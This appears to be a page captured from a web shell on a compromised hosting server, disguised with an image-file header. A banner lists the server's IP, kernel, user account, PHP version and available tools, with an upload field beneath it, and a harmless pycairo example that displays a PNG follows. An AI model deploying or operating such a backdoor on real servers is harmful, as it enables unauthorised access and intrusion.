ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.136 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/alt/python27/share/doc/alt-python27-pycairo/examples/gtk/ |
Upload File : |
#!/usr/bin/env python
"""Display a png file
"""
import sys
import cairo
import gtk
def expose_event(widget, event, surface):
ctx = widget.window.cairo_create()
ctx.set_source_surface(surface, 0,0)
ctx.paint()
if len(sys.argv) != 2:
raise SystemExit('usage: png_view.py png_file')
filename = sys.argv[1]
surface = cairo.ImageSurface.create_from_png(filename)
Width = surface.get_width()
Height = surface.get_height()
win = gtk.Window()
win.connect('destroy', gtk.main_quit)
drawingarea = gtk.DrawingArea()
win.add(drawingarea)
drawingarea.connect('expose_event', expose_event, surface)
drawingarea.set_size_request(Width,Height)
win.show_all()
gtk.main()